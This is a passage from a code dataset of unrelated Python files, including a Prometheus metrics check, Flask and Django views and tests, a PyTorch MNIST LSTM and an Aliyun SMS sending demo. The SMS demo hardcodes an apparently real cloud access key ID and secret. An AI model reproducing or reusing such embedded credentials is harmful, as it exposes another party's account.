endpoints {} with error - {}. \" \\\n \"Skipping scraping metrics\".format(endpoints, e)\n self.log.error(error_message)\n continue\n if use_k8s_labels:\n service_dimensions.update(\n self._get_service_dimensions(service_metadata))\n for endpoint in endpoints:\n scrape_endpoint = \"http://{}:{}\".format(cluster_ip, endpoint)\n scrape_endpoints[scrape_endpoint] = service_dimensions\n endpoint_whitelist[scrape_endpoint] = whitelist\n endpoint_metric_types[scrape_endpoint] = metric_types\n self.log.info(\"Detected service endpoint - {} with metadata \"\n \"of {}\".format(scrape_endpoint,\n service_dimensions))\n return scrape_endpoints, endpoint_whitelist, endpoint_metric_types\n\n def _get_monasca_settings(self, service_name, annotations):\n use_k8s_labels = annotations.get(\"monasca.io/usek8slabels\", \"true\").lower() == \"true\"\n whitelist = None\n if \"monasca.io/whitelist\" in annotations:\n whitelist = yaml.safe_load(annotations[\"monasca.io/whitelist\"])\n metric_types = None\n if \"monasca.io/metric_types\" in annotations:\n metric_types = yaml.safe_load(annotations[\"monasca.io/metric_types\"])\n for typ in metric_types:\n if metric_types[typ] not in ['rate', 'counter']:\n self.log.warn(\"Ignoring unknown metric type '{}' configured for '{}' on endpoint '{}'\".format(\n typ, metric_types[typ], service_name))\n del metric_types[typ]\n return use_k8s_labels, whitelist, metric_types\n\n def _get_service_dimensions(self, service_metadata):\n service_dimensions = {'service_name': service_metadata['name'],\n 'namespace': service_metadata['namespace']}\n if \"labels\" in service_metadata:\n service_labels = service_metadata['labels']\n for label in self.kubernetes_labels:\n if label in service_labels:\n service_dimensions[label] = service_labels[label]\n return service_dimensions\n\n def _get_prometheus_endpoint(self, annotations, ports, name):\n \"\"\"Analyzes annotations and ports to generate a scrape target\"\"\"\n pod_index = \"containerPort\" if self.detect_method == \"pod\" else \"port\"\n configured_ports = []\n if \"prometheus.io/port\" in annotations:\n configured_ports = annotations.get(\"prometheus.io/port\").split(',')\n configured_ports = [int(i) for i in configured_ports]\n\n if self.detect_method == \"pod\" and not configured_ports:\n configured_ports = [9102]\n prometheus_endpoint = annotations.get(\"prometheus.io/path\", \"/metrics\")\n prometheus_endpoint = prometheus_endpoint.lstrip('/')\n\n endpoints = []\n for port in ports:\n for configured_port in configured_ports:\n if port[pod_index] == configured_port:\n # Build up list of ports and prometheus endpoints to return\n endpoints.append(\"{}/{}\".format(configured_port,\n prometheus_endpoint))\n\n if len(ports) == 1 and not endpoints:\n self.log.info(\"Could not find matching port using only port \"\n \"configured\")\n endpoints.append(\"{}/{}\".format(ports[pod_index], prometheus_endpoint))\n\n if not endpoints:\n self.log.error(\"Can not derive which port to use. Due to either \"\n \"no port being exposed or more than one port \"\n \"configured and none of them selected via \"\n \"configurations. \"\n \"{} {} skipped for scraping\".format(self.detect_method, name))\n return endpoints\n\n def _send_metrics(self, metric_families, dimensions, endpoint_whitelist, endpoint_metric_types):\n for metric_family in metric_families:\n for metric in metric_family.samples:\n metric_dimensions = dimensions.copy()\n metric_name = metric[0]\n metric_labels = metric[1]\n metric_value = float(metric[2])\n if math.isnan(metric_value):\n self.log.debug('filtering out NaN value provided for metric %s{%s}', metric_name, metric_labels)\n continue\n if endpoint_whitelist is not None and metric_name not in endpoint_whitelist:\n continue\n # remove empty string dimensions from prometheus labels\n for dim_key, dim_value in metric_labels.items():\n if len(dim_value) > 0:\n metric_dimensions[dim_key] = dim_value\n\n metric_func = self.gauge\n if endpoint_metric_types and metric_name in endpoint_metric_types:\n typ = endpoint_metric_types[metric_name]\n if typ == \"rate\":\n metric_func = self.rate\n metric_name += \"_rate\"\n elif typ == \"counter\":\n metric_func = self.increment\n metric_name += \"_counter\"\n metric_func(metric_name, metric_value, dimensions=metric_dimensions, hostname=\"SUPPRESS\")\n\n def report_endpoint_metrics(self, metric_endpoint, endpoint_dimensions, endpoint_whitelist=None,\n endpoint_metric_types=None):\n # Hit metric endpoint\n try:\n result = requests.get(metric_endpoint, timeout=self.connection_timeout)\n except Exception as e:\n self.log.error(\"Could not get metrics from {} with error {}\".format(metric_endpoint, e))\n else:\n result_content_type = result.headers['Content-Type']\n if \"text/plain\" in result_content_type:\n try:\n metric_families = text_string_to_metric_families(result.text)\n self._send_metrics(metric_families, endpoint_dimensions, endpoint_whitelist, endpoint_metric_types)\n except Exception as e:\n self.log.error(\"Error parsing data from {} with error {}\".format(metric_endpoint, e))\n else:\n self.log.error(\"Unsupported content type - {}\".format(result_content_type))\n","sub_path":"monasca_agent/collector/checks_d/prometheus.py","file_name":"prometheus.py","file_ext":"py","file_size_in_byte":15985,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"200999737","text":"#ABOUT###########################################\n#Import CSV to XML Tool\n#Created: by Dwayne P. (dwaynepindling@gmail.com)\n#Date: April 24th 2015\n#Version 1.0\n#################################################\n\n#INSTALLATION##########################################################\n#In order to run this script, user must have Python 3.0 installed.\n#Files will be created in the following folder where script is located.\n#Sample files included in Github repository.\n#######################################################################\n\n#FUNCTIONALITY####################################################################\n#The following script will allow user to create xml files based on a\n#imported .xml file. Futhermore, user can use information from an\n#independant CSV file to populated XML files.\n##################################################################################\n\n\n\nimport xml.etree.ElementTree as etree #Module imported to allow the ability to parse XML template\nimport csv #Module imported to allow the use of CSV files\nimport datetime #Module imported to allow the creation of filename with date/time\n\n\nnum = int(input (\"Please the mount of users you would like to process from file: \")) #Prompt to enter the amount of users to be processed\nwith open('datanames2.csv') as csvfile: #Opening of the specific CSV file. File should be placed in same folder as script\n reader = csv.reader(csvfile) #Grab the file and assign it to reader\n x=0 #Initialization of the counter variable\n line = next(reader) #Code to advance to the next line in reader\n line = next(reader) #Code to advance to the next line in reader\n while x None:\n with mock.patch('system_manager.Supervise.Supervise') as mock_supervise:\n mock_supervise.return_value = mock.MagicMock()\n import api as SMApi\n self.obj = SMApi\n self.obj.render_template = mock.MagicMock()\n self.obj.Response = mock.MagicMock()\n self.obj.request = mock.MagicMock()\n self.obj.render_template.return_value = True\n self.obj.Response.return_value = 'foo'\n # logging.disable(logging.CRITICAL)\n\n def tearDown(self):\n logging.disable(logging.NOTSET)\n\n def test_init(self):\n self.assertIsNotNone(self.obj.app,\n 'Failed to initialize Flask app')\n\n def test_main(self):\n self.assertIsInstance(self.obj.main(), werkzeug.wrappers.response.Response,\n 'Failed to get a redirection from the API main endpoint')\n\n @mock.patch('os.kill')\n def test_dashboard(self, mock_kill):\n self.obj.app.config[\"supervisor\"].get_nuvlabox_status.return_value = {}\n self.obj.app.config[\"supervisor\"].reader.return_value = []\n # if no stats, get loading page\n self.assertTrue(self.obj.dashboard(),\n 'Failed to get loading page')\n self.obj.render_template.assert_called_once_with(\"loading.html\")\n self.obj.app.config[\"supervisor\"].container_runtime.list_all_containers_in_this_node.assert_not_called()\n\n # otherwise, get the dashboard\n self.obj.render_template.reset_mock()\n self.obj.app.config[\"supervisor\"].get_nuvlabox_status.return_value = {'resources': {}}\n self.assertTrue(self.obj.dashboard(),\n 'Failed to get dashboard page')\n self.obj.app.config[\"supervisor\"].container_runtime.list_all_containers_in_this_node.assert_called_once()\n self.assertRaises(AssertionError, self.obj.render_template.assert_called_once_with, \"loading.html\")\n\n # in error, kill the process\n mock_kill.assert_not_called()\n self.obj.render_template.side_effect = Exception\n self.assertIsNone(self.obj.dashboard(),\n 'Failed to handle dashboard composition error')\n mock_kill.assert_called_once()\n\n @mock.patch('os.kill')\n def test_logs(self, mock_kill):\n self.obj.app.config[\"supervisor\"].get_internal_logs_html.return_value = ('log', 'time')\n self.assertTrue(self.obj.logs(),\n 'Failed to get container logs')\n self.obj.app.config['supervisor'].get_internal_logs_html.assert_called_once_with()\n mock_kill.assert_not_called()\n\n # rendering error kill the process\n self.obj.render_template.side_effect = Exception\n self.assertIsNone(self.obj.logs(),\n 'Failed to handle rendering error')\n mock_kill.assert_called_once()\n\n # if event-stream, get a Response\n self.obj.request.headers = {'accept': 'text/event-stream'}\n self.assertEqual(self.obj.logs(), 'foo',\n 'Failed to stream logs')\n\n @mock.patch('os.kill')\n def test_peripherals(self, mock_kill):\n self.obj.app.config[\"supervisor\"].get_nuvlabox_peripherals.return_value = [\n {'classes': ['phone']},\n {'classes': ['n/a']},\n {'classes': ['gpu', 'video', 'n/a']},\n {'wrong-classes': []},\n {}\n ]\n\n self.assertTrue(self.obj.peripherals(),\n 'Failed to get peripherals HTML template')\n mock_kill.assert_not_called()\n\n self.obj.render_template.side_effect = Exception\n self.assertIsNone(self.obj.peripherals(),\n 'Failed handle error while getting peripherals template')\n mock_kill.assert_called_once()\n","sub_path":"code/tests/test_api.py","file_name":"test_api.py","file_ext":"py","file_size_in_byte":3979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"162233652","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('create/', views.create, name='create'),\n path('delete//', views.delete, name='delete'),\n path('edit//', views.edit, name='edit'),\n path('display//', views.display, name='display'),\n path('index/', views.index, name=\"index\"),\n path('login/', views.logIn, name=\"logIn\"),\n path('logout/', views.logOut, name=\"logout\"),\n path('newUser', views.newUser, name=\"newUser\"),\n path('', views.list, name='list'),\n]\n","sub_path":"BootCRUDApp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"617364045","text":"#\r\n# Name: Zachary Weaver\r\n# File: lab02a.py\r\n# Date: 8/27/2019\r\n#\r\n# Desc: Calculates and prints 10 factorial.\r\n#\r\n\r\ndef main():\r\n \r\n result = 1\r\n\r\n for i in range(2, 11):\r\n\r\n result *= i\r\n\r\n print(\"10! =\", result)\r\n\r\nmain()\r\n","sub_path":"lab02/lab02a.py","file_name":"lab02a.py","file_ext":"py","file_size_in_byte":246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"222708641","text":"import torch\nimport torch.nn as nn\nimport torchvision\nimport torchvision.transforms as transforms\n\n\n# Device configuration\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\nsequence_length = 28\ninput_size = 28\nhidden_size = 128\nnum_layers = 2\nnum_classes = 10\nbatch_size = 100\nnum_epochs = 2\nlearning_rate = 0.01\n\n# MNIST dataset\ntrain_dataset = torchvision.datasets.MNIST(root='./data',\n train=True,\n transform=transforms.ToTensor(),\n download=True)\n\ntest_dataset = torchvision.datasets.MNIST(root='./data',\n train=False,\n transform=transforms.ToTensor())\n\n# Data loader\ntrain_loader = torch.utils.data.DataLoader(dataset=train_dataset,\n batch_size=batch_size,\n shuffle=True)\n\ntest_loader = torch.utils.data.DataLoader(dataset=test_dataset,\n batch_size=batch_size,\n shuffle=False)\n\nclass RNN(nn.Module):\n def __init__(self,input_size,hidden_size,num_layers,num_classes):\n super(RNN,self).__init__()\n self.hidden_size = hidden_size\n self.num_layers = num_layers\n self.lstm = nn.LSTM(input_size,hidden_size,num_layers,batch_first=True,bidirectional=True)\n self.fc = nn.Linear(hidden_size*2,num_classes)\n\n def forward(self,x):\n # x shape (batch, time_step, input_size)\n # r_out shape (batch, time_step, output_size)\n # h_n shape (n_layers, batch, hidden_size)\n # h_c shape (n_layers, batch, hidden_size)\n # h0 = torch.zeros(self.num_layers, x.size(0), self.hidden_size).to(device)\n # c0 = torch.zeros(self.num_layers, x.size(0), self.hidden_size).to(device)\n #\n # # Forward propagate LSTM\n # out, _ = self.lstm(x, (h0, c0)) # out: tensor of shape (batch_size, seq_length, hidden_size)\n out, (h_n, h_c) = self.lstm(x, None) # # None represents zero initial hidden state\n\n\n out = self.fc(out[:,-1,:])\n return out\n\nmodel = RNN(input_size,hidden_size,num_layers,num_classes)\n\n\n# Loss and optimizer\n# nn.CrossEntropyLoss() computes softmax internally\ncriterion = nn.CrossEntropyLoss()\noptimizer = torch.optim.Adam(model.parameters(), lr=learning_rate)#########不能用optim.SGD\n\n\n# Train the model\ntotal_step = len(train_loader)\nfor epoch in range(num_epochs):\n loss_train = 0.0\n acc_train = 0.0\n iteration = 0\n for i, (images, labels) in enumerate(train_loader):\n # Reshape images to (batch_size, input_size)\n images = images.reshape(-1,sequence_length,input_size).to(device)\n labels = labels.to(device)\n\n # Forward pass\n outputs = model(images)\n\n loss = criterion(outputs, labels)\n _, predicted = torch.max(outputs.data, 1)\n acc = (predicted==labels).sum().item()/len(labels)\n\n loss_train +=loss.item()\n acc_train +=acc\n iteration +=1\n\n # Backward and optimize\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n if (i + 1) % 100 == 0:\n print('Epoch [{}/{}], Step [{}/{}], Loss: {:.4f},Acc: {:.3f}'\n .format(epoch + 1, num_epochs, i + 1, total_step, loss.item(),acc))\n\n loss_train /= iteration\n acc_train /=iteration\n print('epoch: %d, train loss:%.3f, train_acc:%.3f'%(epoch+1,loss_train,acc_train))\n\n\n# Test the model\n# In test phase, we don't need to compute gradients (for memory efficiency)\nimport numpy as np\nmodel.eval()\nwith torch.no_grad():\n correct = 0\n total = 0\n loss_my = []\n iteration = 0\n acc = []\n for images, labels in test_loader:\n images = images.reshape(-1,sequence_length,input_size).to(device)\n labels = labels.to(device)\n outputs = model(images)\n loss = criterion(outputs,labels)\n _, predicted = torch.max(outputs.data, 1)\n total += labels.size(0)\n correct += (predicted == labels).sum()\n loss_my .append(loss.item())\n acc.append((predicted==labels).numpy().mean())\n iteration +=1\n\n print('Accuracy of the model on the 10000 test images: {} %'.format(100 * correct / total))\n print('loss of test images:%.3f'%(np.array(loss_my).mean()))\n\n\nimport matplotlib.pyplot as plt\nplt.figure(figsize=(10,6))\nplt.plot(loss_my,'b',linewidth=2,label='loss_test')\nplt.plot(acc,'r',linewidth=2,label='acc')\nplt.show()\n\n\n\n\n# Save the model checkpoint\ntorch.save(model.state_dict(), 'model.ckpt')","sub_path":"cheapter2/BIRNN.py","file_name":"BIRNN.py","file_ext":"py","file_size_in_byte":4683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"260557372","text":"# Created by Felipe Navarro (fnbalves@gmail.com)\n\nimport re\n\n\n# Class to represent a textline XML tag\n\nclass XMLTextLine:\n text_pattern = re.compile(\"(.+)\")\n\n def __init__(self, x_min, y_min, x_max, y_max, raw_inner_text):\n self.x_min = float(x_min)\n self.y_min = float(y_min)\n self.x_max = float(x_max)\n self.y_max = float(y_max)\n self.raw_inner_text = raw_inner_text\n self.inner_text = \"\"\n self.__process_inner_text()\n\n # Joins text tags into single text\n def __process_inner_text(self):\n texts = self.text_pattern.finditer(self.raw_inner_text)\n str_collection = [m.group(7) for m in texts]\n\n self.inner_text = ''.join(str_collection)\n\n def get_overlap(self, other):\n if other.y_max >= self.y_min:\n first_y = min(self.y_max, other.y_max)\n second_y = max(self.y_min, other.y_min)\n overlap = abs((second_y - first_y) / (self.y_max - self.y_min))\n return overlap\n return 0\n","sub_path":"XMLTextLine.py","file_name":"XMLTextLine.py","file_ext":"py","file_size_in_byte":1085,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"86027364","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom django.http import JsonResponse\nfrom django.views.decorators.csrf import csrf_exempt\nfrom rest_framework.parsers import JSONParser\n\n\nfrom snippets.models import Snippet\nfrom snippets.serializers import SnippetSerializer\n\n\n# Create your views here. 使用的django原生写法\n\n# 为了实现,允许没有CSRF令牌的客户端也可以请求接口\n@csrf_exempt\ndef snippet_list(request):\n \"\"\"\n 列出所有snippet,或者创建一个snippet\n \"\"\"\n if request.method == 'GET':\n snippets = Snippet.objects.all()\n serializer = SnippetSerializer(snippets, many=True)\n return JsonResponse(serializer.data, safe=False)\n if request.method == 'POST':\n data = JSONParser().parse(request)\n serializer = SnippetSerializer(data=data)\n if serializer.is_valid():\n serializer.save()\n return JsonResponse(serializer.data, status=201)\n return JsonResponse(serializer.errors, status=400)\n\n\n@csrf_exempt\ndef snippet_detail(request, pk):\n \"\"\"检索、更新、删除\"\"\"\n try:\n snippet = Snippet.objects.get(pk=pk)\n except Snippet.DoesNotExist:\n return HttpResponse(status=400)\n\n if request.method == 'GET':\n serializer = SnippetSerializer(snippet)\n return JsonResponse(serializer.data)\n elif request.method == 'PUT':\n data = JSONParser().parse(request)\n serializer = SnippetSerializer(snippet, data=data)\n if serializer.is_valid():\n serializer.save()\n return JsonResponse(serializer.data)\n return JsonResponse(serializer.errors, status=400)\n elif request.method == \"DELETE\":\n snippet.delete()\n return HttpResponse(status=204)\n\n\n\n","sub_path":"tutorial/snippets/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1785,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"484707103","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jun 12 20:44:57 2018\n\n@author: Dean\n本题的更新需要从下到上,从右到左\np223\n\"\"\"\n\ndef minHP1(m):#时间复杂度O(M*N),空间复杂度O(M*N)\n if not m:\n return 1\n row = len(m)\n col = len(m[0])\n #dp[i][j]表示如果骑士走上位置(i,j)前,从该位置能够走到右下角,最少具备的血量\n dp = [[0 for j in range(col)] for i in range(row)]\n #初始化dp[row-1][col-1]\n #重要\n if m[row-1][col-1] > 0:\n dp[row-1][col-1] = 1\n else:\n dp[row-1][col-1] = 1 - m[row-1][col-1]\n #从右向左更新最后一行\n for j in range(col - 1)[::-1]:\n #dp不能小于1,因为血量随时都不能小于1\n dp[row-1][j] = max(dp[row-1][j+1] - m[row-1][j], 1)\n #从下到上,更新剩余行\n for i in range(row-1)[::-1]:\n #更新每行的最右端\n dp[i][col-1] = max(dp[i+1][col-1] - m[i][col-1], 1)\n for j in range(col-1)[::-1]:\n #水平方向\n dp_row = max(dp[i][j+1] - m[i][j], 1)\n #垂直方向\n dp_col = max(dp[i+1][j] - m[i][j], 1)\n #取最小值\n dp[i][j] = min(dp_col,dp_row)\n return dp[0][0]\n\ndef minHP2(m):#使用空间压缩,空间复杂度O(M*N)\n if not m:\n return 1\n row = len(m)\n col = len(m[0])\n dp = [0 for j in range(col)]\n #初始化dp[col-1]\n if m[row-1][col-1] > 0:\n dp[col-1] = 1\n else:\n dp[col-1] = 1 - m[row-1][col-1]\n #更新最后一行\n for j in range(col-1)[::-1]:\n dp[j] = max(dp[j+1] - m[row-1][j], 1)\n #更新剩余所有行\n for i in range(row-1)[::-1]:\n #更新每行的最右端\n dp[col-1] = max(dp[col-1] - m[i][col-1], 1)\n for j in range(col-1)[::-1]:\n #水平方向\n dp_row = max(dp[j+1] - m[i][j], 1)\n #垂直方向\n dp_col = max(dp[j] - m[i][j], 1)\n #取最小值\n dp[j] = min(dp_row, dp_col)\n return dp[0]\n \n \n\nif __name__ == \"__main__\":\n m = [[-2, -3, 3],[-5, -10, 1], [0, 30, -5]]\n print(minHP1(m))\n print(minHP2(m))\n \n \n ","sub_path":"algorithm-books/程序员面试指南/python/递归和动态规划/龙与地下城游戏问题.py","file_name":"龙与地下城游戏问题.py","file_ext":"py","file_size_in_byte":2165,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"534810774","text":"#!/usr/bin/env python\n# *-* coding: utf-8 *-*\n\nfrom vehicle import Vehicle\nfrom vehiclemanager import VehicleManager\nimport unittest\n\nclass TestVehicleManager(unittest.TestCase):\n def setUp(self):\n self.vm = VehicleManager()\n\n def tearDown(self):\n del self.vm\n\n def test_add_vehicle(self):\n self.vm.add_vehicle(\"VW\", \"Golf\", 5000, \"2018-06-01\")\n self.assertTrue(len(self.vm.vehicles) == 1)\n\n self.vm.add_vehicle(\"Audi\", \"A4\", 10000, \"2018-06-10\")\n self.assertTrue(len(self.vm.vehicles) == 2)\n\n self.vm.add_vehicle(\"Ferrari\", \"Spider\", 1000, \"2019-06-10\")\n self.assertTrue(len(self.vm.vehicles) == 3)\n\n def test_edit_kilometers(self):\n self.vm.add_vehicle(\"VW\", \"Golf\", 5000, \"2018-06-01\")\n vehicle = self.vm.vehicles[0]\n kilometers_old = vehicle.kilometers\n kilometers_to_add = 500\n self.vm.edit_kilometers(vehicle, kilometers_old + kilometers_to_add)\n self.assertTrue(kilometers_old + kilometers_to_add == vehicle.kilometers)\n\n\n\nif __name__ == '__main__':\n #unittest.main()\n suite = unittest.TestLoader().loadTestsFromTestCase(TestVehicleManager)\n unittest.TextTestRunner(verbosity=2).run(suite)\n","sub_path":"11_02_VehicleManager/vehiclemanager-test.py","file_name":"vehiclemanager-test.py","file_ext":"py","file_size_in_byte":1216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"644083207","text":"import json\nimport pandas as pd\nimport argparse\nimport os\nimport numpy as np\n\nparser = argparse.ArgumentParser(description='Combine results from many runs.')\n\n\nparser.add_argument('--EXP_ROOT_DIR', type=str, default='../../parameter_sweeps/npi_sectors', help=\"On fasrc, you should specify a directory\\\n that you've created in long term file storage, e.g., \\\n /n/holylfs/LABS/tambe_lab/jkillian/covid19/parameter_sweeps \\\n \\nIMPORTANT: make sure you have already created this directory (this script will assume it exists.)\")\n\nparser.add_argument('--country', type=str, default = 'lombardy', help='JSON file of input parameters')\nparser.add_argument('--njobs', type=int, default = 0, help='number of jobs to merge')\nparser.add_argument('--n', type=int, default = 1, help='number of processes')\nparser.add_argument('--frac', type=float, default = 0.5, help='number of processes')\n\n\nargs = parser.parse_args()\n\nEXP_DIR = args.EXP_ROOT_DIR\n\ncountry = args.country\ninput_file = 'inputs/{}_bayesian_policy_{}_{}{}.json'\nfor index_group in range(4):\n for distancing_str in ['', '_distance']:\n \n infile = input_file.format(country, args.frac, index_group, distancing_str)\n print(infile)\n input_dict = json.load(open(infile, 'r'))\n N = float(10e6)\n if input_dict['country'] == 'NYC':\n N = float(8.4e6)\n run_name = input_dict['runs_to_combine'][0]\n dirname = os.path.join(EXP_DIR, run_name)\n combined_dir = input_dict['combined_dir']\n dirname = os.path.join(EXP_DIR, combined_dir)\n if not os.path.exists(dirname):\n os.mkdir(dirname)\n \n path = os.path.join(EXP_DIR, run_name)\n \n \n datatypes_n_t = [\n 'susceptible', \n 'exposed', \n 'deaths', \n 'mild', \n 'severe', \n 'critical', \n 'recovered', \n 'quarantine', \n ]\n datatypes_n_1 = [\n 'infected_start_store',\n 'r0_tot', \n 'mse',\n 'ifr_tot',\n 'frac_death_older',\n 'pinf_mult_vals_store',\n 'sd_vals_store',\n 'mm_vals_store',\n 'pigc_vals_store'\n ]\n \n \n out_template = combined_dir+'_bayesian_n%s_i%s_%s.hdf'\n out_template = os.path.join(dirname, out_template)\n \n \n def load_thing(fname):\n try:\n a = pd.read_hdf(fname).to_numpy()\n except:\n print('File not found: ', fname)\n a = None\n return a\n \n import multiprocessing\n pool = multiprocessing.Pool(args.n)\n \n for d in datatypes_n_1 + datatypes_n_t:\n print(d)\n # all_results = []\n all_files = []\n for index in range(args.njobs):\n fname = '%s_bayesian_n%s_i%s'%(run_name, N, index)\n fname += '_%s.hdf'\n fname = fname%d\n fname = os.path.join(path, fname)\n all_files.append(fname)\n all_results = pool.map(load_thing, all_files)\n all_results = [x for x in all_results if x is not None]\n \n combined = np.vstack(all_results)\n df = pd.DataFrame(combined)\n outfile = out_template%(N, 0, d)\n df.to_hdf(outfile, key='values')","sub_path":"combine_bayesian_policy.py","file_name":"combine_bayesian_policy.py","file_ext":"py","file_size_in_byte":3573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"499232402","text":"from django.core.paginator import Paginator, PageNotAnInteger, EmptyPage\nfrom django.shortcuts import render, get_object_or_404\nfrom notes.models import Article, Category\nfrom utils.blog import is_bot_page_hit\n\n\ndef home(request, page=None):\n if not page:\n page = 1\n\n paginator = Paginator(Article.objects.all(), 5)\n try:\n articles = paginator.page(page)\n except PageNotAnInteger:\n # If page is not an integer, deliver first page.\n articles = paginator.page(1)\n except EmptyPage:\n # If page is out of range (e.g. 9999), deliver last page of results.\n articles = paginator.page(paginator.num_pages)\n\n return render(request, 'notes/home.html', {'articles': articles})\n\n\ndef view_article(request, slug):\n article = get_object_or_404(Article, slug=slug)\n user = request.user\n if not user.is_authenticated() and not is_bot_page_hit(request):\n article.views_count += 1\n article.save()\n relative_articles = Article.objects.filter(category_id=article.category_id).exclude(id=article.id).order_by('?')[:5]\n return render(request, 'notes/view_article.html', {'article': article, 'relative_articles': relative_articles})\n\n\ndef by_category(request, category):\n category = get_object_or_404(Category, slug=category)\n ancestors = category.get_ancestors(include_self=True)\n categories = [c.id for c in category.get_descendants(True)]\n articles = Article.objects.filter(category__in=categories)\n return render(request, 'notes/category.html',\n {'articles': articles, 'category': category, 'ancestors': ancestors})\n","sub_path":"notes/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"16353948","text":"from django.template import RequestContext\nfrom django.shortcuts import render_to_response\nfrom django.http import HttpResponse\nfrom DreamBuilder.models import *\nfrom datetime import date\n# Create your views here.\n\ndef index(request):\n today = date.today()\n try:\n g = Dream.objects.get(id=1)\n goals_in_dream = Goal.objects.filter(parentG = g)\n except Dream.DoesNotExist:\n return HttpResponse(\"No dream\")\n\n try:\n y = Year.objects.filter(parent=g).get(year=today.year)\n goals_in_year = Goal.objects.filter(parentY = y)\n except Year.DoesNotExist:\n return HttpResponse(\"No goals for this year\")\n\n# try:\n# month = Month.objects.filter(parent=y).get(month=today.month)\n# goals_in_month = Goal.objects.filter(parentM = m)\n# except Month.DoesNotExist:\n# return HttpResponse(\"No goals for this month\")\n\n#look up date.isocalendar()\n# week = Week.objects.filter(parent=m).get(week=today.isocalendar()[1])\n return render_to_response('index.html', {'dream':g,'goals_in_dream':goals_in_dream,'goals_in_year':goals_in_year})\n#'goals_in_month':goals_in_month})\n","sub_path":"DreamBuilder/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"588969840","text":"# -*- encoding: utf-8 -*-\nfrom abjad.tools.abctools.AbjadObject import AbjadObject\n\n\nclass SegmentSpecificationInventory(AbjadObject, list):\n r'''Segment specification inventory.\n '''\n\n ### INITIALIZER ###\n\n def __init__(self, *args):\n list.__init__(self, *args)\n\n ### SPECIAL METHODS ###\n\n def __getitem__(self, arg):\n if isinstance(arg, int):\n return list.__getitem__(self, arg)\n elif isinstance(arg, str):\n for segment in self:\n if segment.segment_name == arg:\n return segment\n else:\n raise KeyError(repr(arg))\n\n def __repr__(self):\n return '{}({})'.format(self.__class__.__name__, list.__repr__(self))\n","sub_path":"abjad/experimental/tools/musicexpressiontools/SegmentSpecificationInventory.py","file_name":"SegmentSpecificationInventory.py","file_ext":"py","file_size_in_byte":737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"350565574","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport json\nfrom aliyunsdkcore.client import AcsClient\nfrom aliyunsdkcore.request import CommonRequest\n\naccessKeyId = \"LTAI2RKaFCsGuj4E\"\naccessKeySecret = \"BD5OWqsWgbOuE5EZaRBXPZfyl7nfHc\"\nregionId = \"cn-hangzhou\"\nSignName = \"问卷调查系统PC登陆\"\nTemplateCode = \"SMS_163438514\"\n\ndef send_sem(tel, code):\n\n TemplateParam = {}\n TemplateParam[\"code\"] = code\n\n request = CommonRequest()\n request.set_method(\"POST\")\n request.set_accept_format(\"json\")\n request.set_protocol_type(\"https\")\n request.set_domain(\"dysmsapi.aliyuncs.com\")\n request.set_version(\"2017-05-25\")\n request.set_action_name(\"SendSms\")\n\n request.add_query_param(\"RegionId\", regionId)\n request.add_query_param(\"PhoneNumbers\", tel)\n request.add_query_param(\"SignName\", SignName)\n request.add_query_param(\"TemplateCode\", TemplateCode)\n request.add_query_param(\"TemplateParam\", TemplateParam)\n\n client = AcsClient(accessKeyId, accessKeySecret, regionId)\n return client.do_action(request)\n\ntel = \"15101629450\"\ncode = \"1234\"\nresponse = send_sem(tel, code)\nprint(response)\n\n\n\n\n","sub_path":"demo-sms-send/aliyun/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":1133,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"265013889","text":"import time\n\nstart=time.time()\n\nrst=0\nfor x in range(1,1001):\n rst+=x**x\n\nS=str(rst)[-10:]\n\nelapsed=(time.time()-start)\nprint (\"found %s in %s seconds\" % (S,elapsed))\n","sub_path":"48. Self powers.py","file_name":"48. Self powers.py","file_ext":"py","file_size_in_byte":170,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"153520561","text":"import json\nimport xml.etree.ElementTree as ET\n\nroot_folder = \"C:\\\\Users\\\\Matthew\\\\Dropbox\\\\Comics\\\\\"\nloc = root_folder + \"data.xml\"\nloc2 = root_folder + \"comic_configuration.json\"\n\ntree = ET.parse(loc)\nroot = tree.getroot()\n\nall_obj = []\nfor child in root:\n\tnew_obj = {}\n\tfor type_l in child:\n\t\tif(type_l.tag == \"Arguments\"):\n\t\t\targ_obj = {}\n\t\t\tfor type_a in type_l:\n\t\t\t\targ_obj[type_a.find(\"Arg\").text] = type_a.find(\"Value\").text\n\t\t\tnew_obj[type_l.tag]=arg_obj\n\n\t\t\tcontinue\n\t\tnew_obj[type_l.tag]=type_l.text\n\tall_obj.append(new_obj)\n\nprint(all_obj)\nwith open(loc2,'w') as 